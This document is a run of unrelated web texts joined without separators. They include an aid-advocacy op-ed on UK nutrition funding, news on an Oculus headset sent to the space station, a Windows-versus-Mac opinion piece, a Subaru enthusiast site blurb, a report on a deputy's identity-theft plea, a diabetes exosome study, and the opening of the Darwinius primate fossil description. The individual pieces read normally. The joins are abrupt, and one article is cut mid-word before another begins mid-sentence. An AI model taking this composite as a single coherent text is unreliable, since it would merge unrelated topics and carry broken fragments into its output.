The UK has a growing role in raising the profile of global nutrition, both through its aid and its work to promote the cause of undernutrition internationally. While the UK has shown increasingly positive commitment to the global fight to end child hunger in recent years, the Icai report is another stark reminder that there is still a long way to go.
DfID's nutrition portfolio was rated "green-amber" in Icai's traffic light system, with its objectives, delivery and learning all scored at this level. On impact, however, it was rated "amber-red".
It should be acknowledged that nutrition had a late start at DfID: the first full nutrition strategy emerged only in 2010. The latest DfID annual report now profiles nutrition progress.
Although DfID's nutrition contributions did increase between 2010 and 2012, more resources need to be raised to meet projected needs – an additional £6.9bn a year, according to the World Bank. DfID has committed £3.3 billion between 2013 and 2020.
Icai is right to call for an increase in the pace and scale of nutrition projects at country level. National health systems also need to be strengthened if we are to accelerate progress.
The report highlights current shortfalls in aid impact by measuring the number of children suffering from stunting, or stunted growth, as a result of poor nutrition during their first 1,000 days of life. But it is vital to measure impact on all forms of undernutrition (stunting, wasting and micronutrient deficiencies), as well as child mortality rates and illnesses contracted during those critical first 1,000 days, which can prompt, or be the consequence of, the most deadly form of malnutrition – severe acute malnutrition.
To help tackle the difficulty in monitoring, DfID-funded programmes should integrate coverage surveys into impact measuring. These surveys calculate the proportion of malnourished children who are currently receiving treatment in a specific area. This gives a sense of perspective, establishing the reach of the programme.
What the Icai report does not mention is the existing WHO global nutrition targets. To reach them by 2025, and then extending to 2030 as part of the post-2015 development agenda, nutrition advocates recommend that all governments – the UK included – need to make even more progressive policy changes and commit better targeted resources to reduce the number of children affected by acute malnutrition by millions every year.
It goes without saying that every initiative that the UK government contributes to has to be part of the solution to undernutrition, not the problem. For example, Icai echoed what NGOs have been saying about the G8 New Alliance for Food Security and Nutrition – it is not clear enough how the initiative will reduce undernutrition, and the UK government needs to be able to demonstrate it will.
Icai also points out that the private sector has a role to play on undernutrition, but investments must be made on evidence – on what works, as well as what to avoid or what causes harm.
Recent years have seen good progress by DfID. Now it's time to look further ahead. Icai calls on DfID to issue a new strategy on undernutrition next year – a 10-year plan that, if fully implemented, would give a clearer indication that the UK is doing all it can to tackle global undernutrition. Long-term impact and reaching those most in need should be the focus of such a plan.
Glen Tarman is international advocacy director for Action Against Hunger. Follow @glentarman on Twitter.
Read more stories like this:
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• Nutrition for growth: one year later, are the seeds planted bearing fruit?
Join the community of global development professionals and experts. Become a GDPN member to get more stories like this direct to your inboxPacked inside a Dragon cargo ship scheduled to dock with the space station Thursday morning [Note updated time] is a technology that, for all the attention it gets on Earth, has yet to be tried in orbit: an Oculus Rift headset, modified and certified for use in space.
The French space agency CNES sent up the headset and associated hardware—together called “Perspectives”—for use in neuroscience experiments to be conducted by French astronaut Thomas Pesquet. American and European astronauts have used clunky, custom-built VR rigs on the station, but this is the first of the modern, high-end commercial VR headsets to go up. The Perspectives system will remain on the station for future astronaut studies.
It wasn’t easy getting the hardware approved for spaceflight, says Maurice Marnat, who works for the MEDES Institute for Space Medicine and Physiology at the CNES CADMOS laboratory in Toulouse. Engineers first had to make sure the Oculus headset could pass safety tests regarding flammability and shatter-proofing (fortunately the lenses are plastic, not glass).
The station’s onboard laptops—newly arrived HP Zbooks—are powerful by past space standards, says Marnat, but are “not ideal” for VR, which demands a lot of computing power. But they’ll do for now. The engineers also couldn’t use Oculus’ own Constellation infrared head-tracking system on the station, so they adapted a European head-tracker used for previous space experiments. Then they had to test the whole thing on zero-G airplane flights to make sure the magnetometer and other position sensors would work in the absence of gravity.
Pesquet will use the Perspectives headset in an experiment called GRASP, which tests a weightless subject’s perceptions when reaching for virtual objects.
The ESA astronaut, who has been living on the station since November, also has been shooting 360-degree videos with a Giroptic camera. CNES and ESA expect to post Pesquet’s VR videos online within the next week or so.
They won’t be the first, however. The Russian space agency Roskosmos, in cooperation with the Russia Today TV network, has been posting a series of 360-degree video tours of the space station’s different elements [YouTube channel] by cosmonaut Andrei Borisenko, who does a pretty good job of adapting the typical astronaut tour for VR.
360-degree cameras like Giroptic’s and the one used by Borisenko are still fairly low-resolution, which leaves us still waiting for the day when, goggles strapped on head, we’ll feel like we’re floating right there alongside the astronauts. U.S. astronauts have shot some experimental ultra-high-definition footage, and NASA and Oculus are looking into routinely filming high-resolution 360 video on the station, but they haven’t yet finalized their plans.Microsoft has launched a new Windows 7 campaign to take on Mac OS X. A new tab on the Windows 7 sites compares Windows 7 to Mac OS X in a number of areas--listing out the reasons that Windows 7 is the superior choice. Most of the points made by Microsoft are valid, but the campaign itself is a waste of resources that could be better used battling Apple where it counts.
Apple is a threat to Microsoft, but Mac isn't much of a threat to Windows. All versions of Mac combined have about five percent of the operating system market, while Windows owns more than 91 percent. Mac is the second place OS, but--with 15 times the market share and a virtual monopoly on the OS market--dedicating resources to comparing Windows to Mac OS X is like Toyota creating a marketing campaign comparing the Camry to the Lotus Elise. The Elise is pretty, but its sales are no threat to the Camry.
I realize that the "Get a Mac" ads had to sting a little. It was a very clever marketing campaign and it made Windows look bad--sometimes by distorting the facts in Mac's favor. In the end, though, Windows 7 is the fastest selling operating system of all time and Microsoft still has over 90 percent market share, so why dignify the Apple campaign with a response or stoop to that level?
Where Apple is stealing Microsoft's lunch money is on the mobile front. Here, the tables are turned and Apple is the dominant player to Microsoft's underdog. If Microsoft wants to dedicate resources to fighting Apple, it should create ads or develop a site convincing users why they should choose Windows Phone 7 smartphones over an iPhone, and bring a Windows 7 (or--better yet--Windows Phone 7) tablet worthy of comparing to the iPad to market.
Microsoft can take some solace in knowing that the vast majority of those iPods, iPhones, and iPads are being synced to iTunes running on a Microsoft Windows PC. But, the trend is toward mobility, and users are increasingly relying on smartphones and tablets for tasks that have traditionally belonged to the PC.
The problem Microsoft faces is that it is the king of yesterday's hill, and Apple has already staked its flag on the hill of the future. Microsoft does need to recognize the Apple threat, but it needs to realize that the threat is on a different battlefront than PC vs. Mac and dedicate its resources to making the culture shift from desktop to mobility.
Microsoft should let Apple tilt at windmills if it chooses--pitting its Mac OS X "David" against the Windows 7 "Goliath"--and not let pride distract it from more urgent matters. Microsoft should ignore Mac OS X and worry about the iPhone and iPad.Welcome to WRX INFO!
This site was put together in order to make it easier for the Subaru Impreza WRX and STI owners community to find a wealth of information pertaining to their vehicle. The majority of resources that are made available on here have been put together by forum members from such sites as UNYSOC.ORG, NASIOC.ORG, SCOOBYPEDIA.CO.UK, as well as many others. I am in no way claiming ownership of the respective author's works, but merely providing a centralized location where it can be made accessible to other users without the need of searching through multiple sites. This is a good place to start looking if you are interested in upgrading or modifiying your WRX or STI.
The majority of files that are hosted on this site are zipped and can be "decompressed" using a utility like WinZip. Once extracted, the files are usually in PDF format and can be opened with Adobe Reader.
If any of the original authors would like their contributions removed, please feel free to contact me and I will make the appropriate changes. Thank you
2017 AND 2018 WRX & STI Factory Service Manual now online!A Palm Beach County Sheriff’s deputy, who in December was named officer of the year for the Delray district, on Thursday pleaded guilty to federal fraud charges, admitting he used his access to law enforcement databases to propel an identity theft scheme.
Frantz Felisma, 42, pleaded guilty to charges of credit card and identity theft fraud. Held without bond since he was arrested in December, Felisma faces a mandatory two-year prison term for identity theft and an additional 2½-year term for the other charge when he is sentenced on June 7. He also agreed to pay about $135,000 in restitution to victims.
Felisma was ratted out by his partner in the $250,000 scheme, Kesner Joaseus, 47, of Wellington. After pleading guilty in July to charges in connection with identity theft and rental scams, Joaseus told Lantana police that Felisma helped him steal the identities of people who owned high-end cars, such as Jaguars, Mercedes and Bentleys.
But Felisma’s sentencing was nearly called off Thursday afternoon when Felisma told U.S. District Judge Donald Middlebrooks he didn’t know what Joaseus was going to do with the information that Felisma gave to him.
Middlebrooks then said he would not accept Felisma’s guilty plea unless he admitted wrongdoing. "I only want you to plead guilty if you believe you did something wrong," the judge said. "You’ve got to have knowingly done this for me to accept a guilty plea."
The judge accepted Felisma’s guilty plea only after he finally said, "I believe I did something wrong when I gave him this information."
In a statement, the Sheriff’s Office said it holds its employees to "the highest standard" and is mindful of its obligation to the public. "Unfortunately sometimes an employee makes a bad decision which leads to misconduct," it wrote. "This misconduct was reported, investigated and subsequently determined to be criminal in nature, resulting in federal charges."
While Felisma has been on unpaid leave, his current status wasn’t immediately available.
In the scheme, Felisma used his access to law enforcement databases to run the license tags of high-end cars to get personal information about the owners, federal prosecutors said. Joaseus then used the information to get credit cards in those people’s names.
Lantana police found that 50 of the tags Felisma ran from January 2013 to June 2014 matched records Joaseus kept, listing the names of those he defrauded.
Police began investigating Joaseus in another case when people complained they paid him money to rent homes only to learn he didn’t own them. Joaseus, who was living in an 8,000-square-foot home in Wellington’s Vers |
carry their messages.
Demonstrating cause and effect, the researchers gave exosomes derived from insulin-resistant mice to insulin-sensitive mice, making them insulin resistant. Giving exosomes derived from insulin-sensitive mice to insulin-resistant ones made them insulin-sensitive.
The study was published Thursday in the journal Cell. Jerrold M. Olefsky, a UCSD professor of medicine, was senior author. Wei Ying, a researcher also at UCSD, was the first author. Go online to j.mp/exoins for the study.
Olefsky likened the exosomes to radio messages, helping cells communicate with each other.
“We weren’t on the frequency to hear it,” Olefsky said.
Olefsky chanced upon exosomes in his ongoing work to uncover the causes of type 2 diabetes, and find drugs to fight it.
Type 2 patients make insulin, but are unable to use it efficiently. Patients tend to put on weight and show other signs of metabolic disruption. Complications of type 2 diabetes include kidney and heart disease, anemia, retinal damage and an increased risk of Alzheimer’s.
About 30 million Americans had diabetes as of 2015, 90 to 95 percent of them with type 2 diabetes, according to the Centers for Disease Control and Prevention.
In some cases, but not all, exercise, diet and losing weight can reverse type 2 diabetes. But how it arises in the first place isn’t clear. Ethnicity may play a role; those of African, Hispanic and Native American ancestry are at higher risk, as are those with a parent or sibling who has the disease.
Type 2 diabetes, insulin resistance and other associated metabolic changes cause widespread effects throughout the body. How those changes are linked hasn’t been clear.
“We know that it involves lots of different organs and we know it involves the liver and the adipose tissue and the pancreas and the muscle,” Olefsky said. “We knew that these tissues must be talking to each other in some way. But no one knew how.”
“And I think the exciting part about this exosome project is that discovery. This is the language. This is how they're talking.”
Newly discovered language
The process appears to be driven by fragments of RNA called microRNAs, Olefsky said. These molecules help control how genes are activated or suppressed, and are being studied for potential drugs. Exosomes contain not only microRNAs, but many other biological molecules.
One microRNA disproportionately found in the exosomes from obese mouse macrophages, called miR-155, has already been implicated in insulin resistance. Mice without the ability to make this microRNA were found to remain insulin sensitive, compared to controls. Humans also make this microRNA.
Exosomes used to be considered mere debris, a cell’s way of taking out the trash. But evidence has accumulated that exosomes deliver a vast amount of messages between different kinds of cells, influencing them in ways previously undetected.
Olefsky has been studying type 2 diabetes for many years. A 2014 study Olefsky led found that an excess of fatty acids in fat cells resulted in a lack of oxygen. This produced inflammation in the adipose tissue, which in turn led to insulin resistance, obesity and related diseases.
As part of this process, immune cells called macrophages migrate to the fat tissue. Olefsky said they clearly appear to be causing insulin resistance, which in turn is linked to obesity and type 2 diabetes.
“Obesity causes inflammation and that's kind of where we've been wobbling for the past two or three years,” Olefsky said. “Well, obesity causes inflammation. All these macrophages get into fat tissue and then you get insulin resistance. How does that work?”
A potential answer dawned on Olefsky after he read a study about the presence of microRNAs in macrophages.
“I wondered if they could be important because the cancer biology people had already shown that cancer cells can make exosomes that get in the blood and circulate around, and they're using them as biomarkers of cancer,” he said. “And I thought, could this also work for metabolic disease?”
Sending the message
To test that idea, Olefsky and colleagues isolated macrophages from adipose tissue, and cultured them in the lab. The macrophages indeed secreted exosomes.
Researchers then treated mice with the secreted exosomes, derived from both normal mice and obese, insulin-resistant mice. Transferring them from one kind of mouse to the other converted them to the kind of mouse that they were taken from.
Interestingly, the lean mice didn’t become obese, but they still developed insulin resistance.
“You just take the obese exosomes, you give them to a lean mouse, and the mouse gets the metabolic disease,” Olefsky said. “It doesn't get obese but it gets the metabolic disease.”
Likewise, the obese mice remained obese, but became insulin-sensitive.Broadcaster wants to bring more of its customer services in-house
BSkyB has created 800 new jobs in the Irish Republic at a customer contact centre in Dublin, which will open in August.
The broadcaster says customer questions are becoming more technical because of ever-expanding ways of delivering content including through computers, games consoles and phones, so it wants to bring more of its customer services in-house.
Currently, inquiries in Ireland are routed to contact centres in Livingstone and Dunfermline in Scotland.
The new Dublin site, in a building called the Burlington Plaza, will be Sky's 10 customer service centre, with the others in England and Scotland serving the company's 10.5 million customers.
Ireland's minister for jobs, Richard Bruton, said the jobs announcement by Sky is a great vote of confidence in Ireland that shows the quality of the country's workforce.
He said the jobs will be entirely funded by Sky and will not cost the state anything. They will involve a wide range of skills he said, and he dismissed fears such jobs might easily leave the Republic.‘The taste of the blood depends on the person.’
Enter the sleepy town of Haverhill in Suffolk at your own risk, as you might just find yourself face to face with real-life vampires.
While these vampires show no aversion to sunlight or crucifixes, they do share one trait of their literary counterparts: a thirst for blood.
20-year-old Lia Benninghoff met ‘vampire’ Aro Draven on Valentine’s Day through a dating website. The two became smitten, Lia being intrigued by Aro’s vampire lifestyle.
After three weeks of dating, 38-year-old Aro asked for Lia’s hand in marriage, to which she happily agreed. But the true test of their love came the week after, when after lots of consideration, Lia asked Aro to turn her into a vampire.
READ MORE:
Come the witching hour –3am – Lia had been turned.
‘I’ve always had cravings for blood since the first age I can remember,’ explains Aro. ‘Any time anyone cut their finger I’d put it in my mouth.’
He did admit that this wasn’t usually met with much enthusiasm from the other person.
To satisfy their hunger, Lia and Aro drink each other’s blood once a week, as well as eating raw steak from the local butcher, alongside a wine glass full of pig’s blood.
Though they plan to get married on Halloween, the couple still have’t told Lia’s parents about their ‘alternative’ lifestyle…
What do you think of Lia and Aro’s lifestyle? Are you tempted to join the dark side? Comment below to let us know!Introduction
Nov. 5, 2015: This story has been updated and corrected.
Voters in Ohio rejected a ballot initiative that would have legalized marijuana Tuesday despite millions of dollars spent by investors hoping to profit from the measure’s passage.
Ohio’s Issue 3 would have made the state the first in the Midwest to legalize the recreational use of marijuana.
But with most of the state’s precincts reporting, 65 percent of voters rejected the measure, even though the pro-pot advocates paid an estimated $6.2 million to air TV ads supporting it, according to a Center for Public Integrity analysis of data from Kantar Media/CMAG, a media tracking firm. The television spots said the measure would help sick children and hurt drug dealers, among other benefits.
The measure was controversial in Ohio due to what opponents called its “monopoly” provisions. The proposed constitutional amendment called for allowing only 10 farms to sell wholesale marijuana — farms owned by the investors bankrolling the campaign.
“Issue 3 was about greed, not good public policy,” said Curt Steiner, who directed the campaign opposing the measure. “Never underestimate the wisdom of Ohio voters. They saw through the smokescreen of slick ads, fancy but deceptive mailings [and] phony claims about tax revenues.”
Opponents cobbled together a broad coalition of groups representing doctors, churches, sheriffs, accountants and other professionals. In their messages, they decried the measure’s “monopoly” and the possibility of children getting their hands on legal pot.
Pro-pot advocates aired more than 10 times the number of TV ads opponents aired.
“The electorate in this off-year election was an electorate that was into the debate and reliant on more than just the TV ads,” said Democratic state Rep. Mike Curtin, who opposed legalization. “If they were just turning on the TV ads, then we were in trouble, because we’ve been outspent.”
The controversial marijuana legalization measure divided even pro-marijuana activists, with some groups offering tepid support and others keeping a safe distance. Ohio resident Aaron Weaver, who would like to see marijuana legal in Ohio, campaigned against Issue 3 on social media and at debates and town halls across the state.
He said early Tuesday that he would be “immensely disappointed in the intellectual capacity of Ohio voters” if Issue 3 passed.
Ohio pot activists who didn’t like Issue 3’s monopoly provisions are already gearing up to try to pass a pro-legalization ballot initiative in 2016, this time without the controversial components.
“Poll after poll shows that Ohioans are overwhelmingly in favor of legalization, but this year’s initiative failed because a greed-driven monopoly plan is wrong for the state of Ohio,” said Ohio marijuana activist Sri Kavuru in an email. “Some activists were let down tonight because they put their faith in a bad plan, but their efforts have brought us a step closer to legalizing marijuana in 2016.”
The failed Ohio measure indeed may have shifted some attitudes: Ohio Auditor Dave Yost, a vocal opponent of the pot measure, said Tuesday he now supports legalizing medical marijuana alone, partly thanks to conversations he had while campaigning against Issue 3.
At least five other marijuana legalization measures are expected to appear on ballots across the country in 2016. One prominent marijuana advocate said the loss in Ohio won’t matter for those other races, because it came in an off-year election and a win would have been surprising to many.
“A defeat in Ohio will really not be very significant for the national movement,” said Ethan Nadelmann, executive director of the Drug Policy Alliance.
Across the country, voters decided 22 statewide ballot measures Tuesday, with five attracting television advertising. Among them:
Mississippi voters said no to a measure that would have required state lawmakers to fund public schools at promised levels.
Political TV ads in Maine must now list their top three funders after a ballot measure passed Tuesday that also upped public funding for elections and stiffened penalties for campaign finance violations. Proponents of the measure, backed by national campaign finance advocacy groups, spent nearly $400,000 on ads supporting it.
In Washington, a pro-animal group backed by Microsoft co-founder Paul Allen and the Humane Society spent nearly $140,000 on ads to support a measure to stiffen penalties for trafficking rare animal species. Election results were not available at the time of this post. ( Update, Nov. 5, 2015, 2:45 p.m. : The measure passed with 71 percent of the vote.)
: The measure passed with 71 percent of the vote.) And in San Francisco, a group backed by Airbnb spent more than $2.8 million on ads to oppose a local measure to increase regulation of short-term housing. Results of that contest were also not available at post time. (Update, Nov. 5, 2015, 2:45 p.m.: The measure failed, with 55 percent of voters opposing the regulations and 45 percent supporting them, giving Airbnb and other short-term rental sites a victory.)
This story was co-published with TIME.
Correction, Nov. 5, 2015, 2:45 p.m.: An earlier version of this story reported the incorrect total for how much money pro-pot advocates spent on TV airtime supporting the measure to legalize pot in Ohio. The group spent an estimated $6.2 million on TV ads.Systematic Paleontology
Order Primates Linnaeus, 1758
Suborder Euprimates Hoffstetter, 1977
Family Notharctidae Trouessart, 1879
Subfamily Cercamoniinae Gingerich, 1975
Darwinius new genus
The limb proportions of Europolemur kelleri Franzen, 2000a, E. koenigswaldi Franzen, 1988, and the North American Notharctus osborni Gregory, 1920, are similar, whereas the limbs of E. klatti Weigelt, 1933, from Geiseltal are unknown. The dentition of E. kelleri, E. koenigswaldi and E. klatti (type species) correspond so well, that there is no doubt that they belong to the same genus. Radiographs demonstrate that all species of Europolemur match each other in possessing unicuspid but two-rooted P 2 /P 2, while that of Godinotia neglecta and that of Darwinius masillae are small, straight and one-rooted, almost remnants in the maxilla ( Fig. 3 ). The type specimen of G. neglecta from Geiseltal clearly differs from E. kelleri, E. koenigswaldi, and D. masillae in having very gracile limb bones ( Figs. 1 – 3 ). The postcranial skeleton of E. klatti is little known save for an isolated astragalus, calcaneum, and atlas, the species determination of which is uncertain [22: 50, 62–65, fig. 2.20].
When Franzen described the counterpart specimen (plate B) and assigned it to Godinotia neglecta from Geiseltal [1], the permanent dentition of the Messel specimen was only represented by a fragmentary left M 1 and an incomplete forelimb and lower leg without hands and feet. He therefore did not recognize the difference of limb proportions, basing his determination mainly on the similar degree of reduction of the antemolar dentition. In 1994 similarities of the dentition led him to assign Geiseltal and Messel specimens to the genus Caenopithecus described by Rütimeyer in1862 from Egerkingen γ [18], [27]. Now that the completely preserved right side of the Messel specimen (plate A) is known and described herein, it is clear that Darwinius masillae n.gen., n.sp. differs considerably from the type specimen of Godinotia neglecta in the postcranial skeleton and in particular, the limb proportions. Moreover, its dentition is clearly different from that of Europolemur koenigswaldi as well as E. kelleri from Messel and it differs from that of Caenopithecus lemuroides from Egerkingen in lacking a mesostyle on the upper molars.
Differs from Cercamonius brachyrhynchus (Stehlin, 1912), from Prajous (Quercy Phosphorite deposits) in having a mandibular ramus that is mesially not as deep, a trigonid of M 1 that is mesiodistally longer, and a talonid of M 1–2 that is larger and broader. M 1 and M 2 have a separate metastylid cusp not seen in Cercamonius.
Differs from Caenopithecus lemuroides Rütimeyer, 1862 (Egerkingen γ [26] ) in being smaller and having upper molars that lack a mesostyle (postcranial skeleton of Caenopithecus is unknown except for an isolated talus; see below).
M 1 and M 2 display a well developed hypocone but no mesostyle. A metaconule is lacking. The M 1 and M 2 show a small trigonid and a very broad talonid. In the permanent dentition, P 1 /P 1 have been lost whereas P 2 /P 2 are unicuspid and uniradical, especially reduced in the maxilla. The lower segments of the anterior and posterior limbs are conspicuously short and robust. The phalanges are elongated. A toilet or grooming claw is not present. Molars of Darwinius masillae are distinct in morphology and intermediate in size between those of contemporary species of Periconodon and Europolemur.
Description
Rostrum and orbit. Nasale: The anterior parts of the nasals are not preserved. The ventral suture with the premaxilla is about one-third of the length of the suture with the maxilla and lachrymal (or median process of maxilla, see below). Following the impressions, the right nasal extends mesially to above I2 whereas the left ends above the border between I1 and I2. The right nasal contains three similar sized slit-like nasal foramina. The most caudal one is situated above the anterior rim of the orbit. The most mesial one occurs above the tip of the deciduous upper canine. Premaxilla: The suture between the two premaxillae is recognizable between the central incisors. The right premaxilla contains two permanent incisors (Figs. 4–5). The bone is almost triangular and has a long caudal suture with the maxilla, as well as a straight, upwardly-directed suture with the premaxilla of the left side. Above there is also a dorsomesial suture with the right nasal. The bone reaches distally to above upper dC1. PPT PowerPoint slide
PowerPoint slide PNG larger image
larger image TIFF original image Download: Figure 5. Map of deciduous and permanent teeth of the right side in the skull of Darwinius masillae, new genus and species. Deciduous dI 2 has not yet been shed, and dC1/dC 1, dP3/dP 3, and dP4/dP 4 are still functional. Permanent teeth that are fully erupted include I1/I 1, P2/P 2, and M1/M 1 (P2 is present on plate B [1). Erupting teeth include I2/I 2 and M2/M 2. Crowns of M3/M 3 are fully formed but lack roots. Crowns of P3/P 3 and P4/P 4 are partially formed, with P4/P 4 notably more developed than P3/P 3. The crown of C1 appears to be fully formed, while that of C 1 is less mineralized. Judging from the stage of crown formation, premolars erupted in the sequence P2/P 2 – P4/P 4 – P3/P 3, as in Cantius (Gingerich and Smith, in prep.), Notharctus [23, pl. LII: 9], and Europolemur [16, pl.III: 3]. https://doi.org/10.1371/journal.pone.0005723.g005 Maxilla: The bone forms a large part of the face. It contains the canine, two deciduous premolars, P2 and three molars (Fig. 4). The maxilla is very flattened and damaged and hard to distinguish from the other bones. The anterior border is located above the precanine diastema. Its suture with the premaxilla is steep and curving caudally into the suture with the nasal. There might be a median process of the maxilla dorsal to the lachrymal as seen in Lemur, but this cannot be decided from the X-ray photographs or CT scans. In the intraorbital part of the maxilla, there is a large intraorbital foramen. The mesial opening of the infraorbital channel is very small and situated above the metacone of dP4. Lachrymal: The lachrymal bone is crushed. There seems to be a substantial facial part, but most of the bone lies within the orbit. The lachrymal foramen is not visible. Frontal: The frontal bone forms the medial and upper half of the posterior border of the orbit. Mesially, it has a suture with the nasal and lachrymal. There is a well-defined ethmoidal foramen. The processus jugalis is robust and meets the processus frontalis of the jugal halfway. Together the two bones form the postorbital bar. Jugal: The mesiodorsal beginning of the zygomatic arch as well as the ventral border of the orbit is situated above the metacone of dP4. The zygomatic arch is mesially low and slender. The jugal size increases considerably distally until the divergence of the processus frontalis. Behind this the jugal narrows to about half of its former height. This is also the width of the postorbital bar. Squamosum: The bone forms the posterior half of the zygomatic arch and ends caudally in the fossa glenoidalis.
Auditory region. Squamosum: Caudally of the rather massive processus postglenoidalis there is a deep porus acusticus, which is not surrounded by an external meatus. The squamosum forms the dorsal roof of the meatus. Petrosum: The bulla tympanica has completely collapsed. However, the posterior and dorsal part is visible. The bulla of the left side is preserved on plate B, where the dorsal half of the annulus tympanicus is clearly seen on the X-ray photograph [1: fig. 5].
Braincase. Part of the left parietal and frontal is visible above the well exposed sutura sagittalis. Because of compaction, the skull appears higher than it was originally. A crista sagittalis was not developed. The rather voluminous braincase ends distally at the crista nuchalis. Caudoventrally, the in situ planum nuchale is turned up and crushed. The following bones form the dorsal and lateral parts of the braincase: Frontal: As usual, the bone forms the mesial part of the braincase. Parietal: The bone makes up most of the lateral side of the braincase. It is both deep and wide. Mesially, the parietal meets the frontal bone and caudally it has a long suture with the dorsal part of the occipital. It ends posterolaterally at the nuchal crest. Occipital: The dorsal extension of the occipital bone (protuberantia occipitalis externa) is wedged between the parietals as a triangular plate. On the caudal end of the skull, the dorsal rim of the foramen magnum is visible. The atlas is visible to the right of the foramen magnum, pressed against the occipital plane.
Lower jaw. The right ramus mandibularis is exposed laterally, with the teeth visible in buccal view. In contrast to adapid skulls [28], its height increases mesially, but not as much as it seems on its left counterpart [1: 293, fig. 4]. In addition, the mesial outline of the mandible is not as steep as it is on the left side (plate B). Both may result from damage during preparation. The micro-CT shows that the symphysis was fused ventrally but still open dorsally, due to the juvenile age of the individual (see below). The angular area increases caudally, where it extends into a well developed, caudally-protruding processus angularis. Some flat bony fragments located ventral and caudal to the processus angularis seem to belong to the hyoids. The processus articularis is still articulated with the fossa glenoidalis, which is situated about 6 mm above the occlusal surface of the mandibular cheek teeth. The coronoid process appears dorsal to the arcus zygomaticus, but it is not fully exposed making description impossible. There is only one foramen mentale appearing below P 2 in the middle of the corpus.
Dentition. The dentition of Darwinius masillae shows the holotype to be a juvenile, and imaging reveals a host of developing teeth within the face and jaw (Fig. 5). Much of the face preserves natural occlusion of upper and lower teeth. Studies of higher primates show that teeth generally begin eruption sometime after roots begin to mineralize, emerging through bone and gum before roots are complete [28]. In this light, images of Darwinius crown and root development reveal a coherent, readable pattern, in which we see: (1) fainter, less dense deciduous crowns with long roots; (2) developing permanent molars with densely mineralized crowns and incomplete roots; and (3) mineralizing crowns of the replacing permanent teeth (I1/I 1 -P4/P 4 ), largely, but not entirely, buried within the face. Basically, the entire permanent dentition was mineralizing while the deciduous dentition had only begun to be shed. Deciduous teeth: In the mandible, it appears that the central deciduous incisors (dI 1 ) have been shed and replaced. Much smaller second deciduous incisors (dI 2 ) remain in the mandible, on right and left sides. We cannot positively identify any upper deciduous incisors, which may have been shed. Clearly, upper and lower deciduous canines are in place. All four deciduous third and fourth premolars (dP3/dP 3 and dP4/dP 4 ) are erupted and in occlusion. All the deciduous teeth have long roots, consistent with circumnatal emergence. At the second premolar position we see only a single tooth generation in the mandible and maxilla, and, after more extensive comparison, conclude that dP 2 was probably shed at an early age. Permanent molars: All three permanent molars can be seen in the dentary. The first permanent molar in the dentary, M 1, is fully erupted, occluding in normal position with M1. The long, but open roots of M 1 suggest that it was probably erupted for some time (weeks or possibly months). The mandibular second molar, M 2, is just erupting, and its roots are less developed. The upper second molar, M2, is displaced but lacks sufficient root development for eruption. Third molars, M3/M 3, had no roots mineralized, and these crowns were probably still covered by soft tissues. Replacement teeth: The first permanent incisor is the most advanced of the replacement teeth; this tooth is fully erupted with root length mineralized perhaps ⅔ or ¾ of final adult length. The tooth labeled I 1 is permanent because it is much larger than dI 2 and it has a denser crown. Development of I 2 is well underway, but it is significantly behind I 1. In the premaxilla, we can see four incisor teeth. The right side is clearest: here, the I1 (with its labial edge slightly broken) is erupted, with a long root (¾ or more mineralized). The more caniniform right I2 shows root development of about ⅔. Radiographs also show a well developed incisor from the left side that is more difficult to identify (it may be I1 or possibly I2; one of these teeth is missing in either case). Maxillary permanent incisors were at or near emergence. The developing lower canine crown, C 1, is substantial, but probably no more than half its eventual size. The massive upper permanent canine crown is probably caught at its maximum width, as mineralization was just outlining flanges at the base of the crown, indicating that a wide but not extremely tall crown was forming. The second premolar is represented by a tiny maxillary tooth, P2, on plate B, and a small mandibular tooth, P 2, on both plates A and B. The mandibular tooth has a more densely mineralized crown, casting a denser shadow on radiographs and allying it with other permanent teeth. Root development is long and clearly advanced over that of the remaining permanent premolars. The crown of P 4 is less than ½ formed, but noticeably advanced over that of P 3 ; crowns of P4 and P3 can be identified in radiographs, with P4 again much advanced over P3.
Molar morphology. Little can be seen of the crowns of the molars in either plate A (Fig. 5) or plate B. However, we have succeeded in extracting three molars using micro-CT and graphic reconstruction (Fig. 6). PPT PowerPoint slide
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larger image TIFF original image Download: Figure 6. Micro-CT reconstructions of molar teeth of Darwinius masillae, new genus and species. Tooth crowns shown here were extracted digitally to show the entire crown for teeth that are only partially exposed in Plate A (see Fig. 5). (A–B)— right M1, in buccal and occlusal view. (C–D)— right M 1, in buccal and occlusal view. (E–F)— right M 2, in buccal and occlusal view. Note the absence of a mesostyle on M1, and the presence of a hypocone on the broad lingual cingulum of this tooth. Note too the absence of a distinct paraconid and hypoconulid on M 1–2, and the very broad talonid on M 2. Molars of Darwinius masillae are distinct in morphology and intermediate in size between those of contemporary species of Periconodon and Europolemur. https://doi.org/10.1371/journal.pone.0005723.g006 The crown of M1 is subrectangular in occlusal outline, with a prominent protocone, paracone, and metacone well spaced on the crown. There is a well-developed hypocone developed on a broad lingual cingulum, but a pericone, if present, was weakly developed (Fig. 6A–B). This tooth has the classic simplicity of cercamoniine upper molars. Roots are relatively well developed, which is consistent with its early eruption. Measurements are listed in Table 2. The crown of M 1 is relatively long and narrow (Fig. 6C–D). There is no distinct paraconid, but a looping paracristid encloses a basined trigonid. The protoconid and metaconid are well developed on the trigonid, followed by a distinct hypoconid and entoconid on the talonid. There is no hypoconulid, but a well developed metastylid distally from the metaconid. The talonid of M 1 is distinctly broader than the trigonid, but less broad than the talonid on M 2. The cristid oblique or prehypocristid runs mesiolingually toward the notch in the postprotocristid but then turns abruptly to join the protoconid. There is a narrow cingulid bordering the lingual side of the tooth. Measurements are listed in Table 2. The crown of M 2 is shorter than that of M 1, with a broader trigonid and a much broader talonid (Fig. 6E–F). The trigonid is short anteroposteriorly. It lacks a paraconid, and again has a looping paracristid enclosing a shallowly basined trigonid. The protoconid and metaconid are well developed on the trigonid, and again they are followed by a distinct hypoconid and entoconid on the talonid. There is neither a hypoconulid nor a metastylid. The lingual cingulid is more pronounced than that on M 1. As on M 1, there is a distinct cristid oblique that ends near the base of the protoconid. Measurements are listed in Table 2 and Appendix S1.
Vertebral column. (Figs. 1–2, 7, S3, and measurements in Appendix S1). The vertebral column is complete, although laterally compressed and, in part, crushed. Altogether it comprises 7 cervical, 11 thoracic, 7 lumbar, 3 sacral, and 31 caudal vertebrae. The whole vertebral column, from the proximal end of the atlas to the end of the last caudal vertebra, measures ca. 53 cm (Table 2). Together with a basal length of the skull of about 5 cm, this results in a total skeleton length of ca. 58 cm, whereas the head and body length is ca. 24 cm without the tail. PPT PowerPoint slide
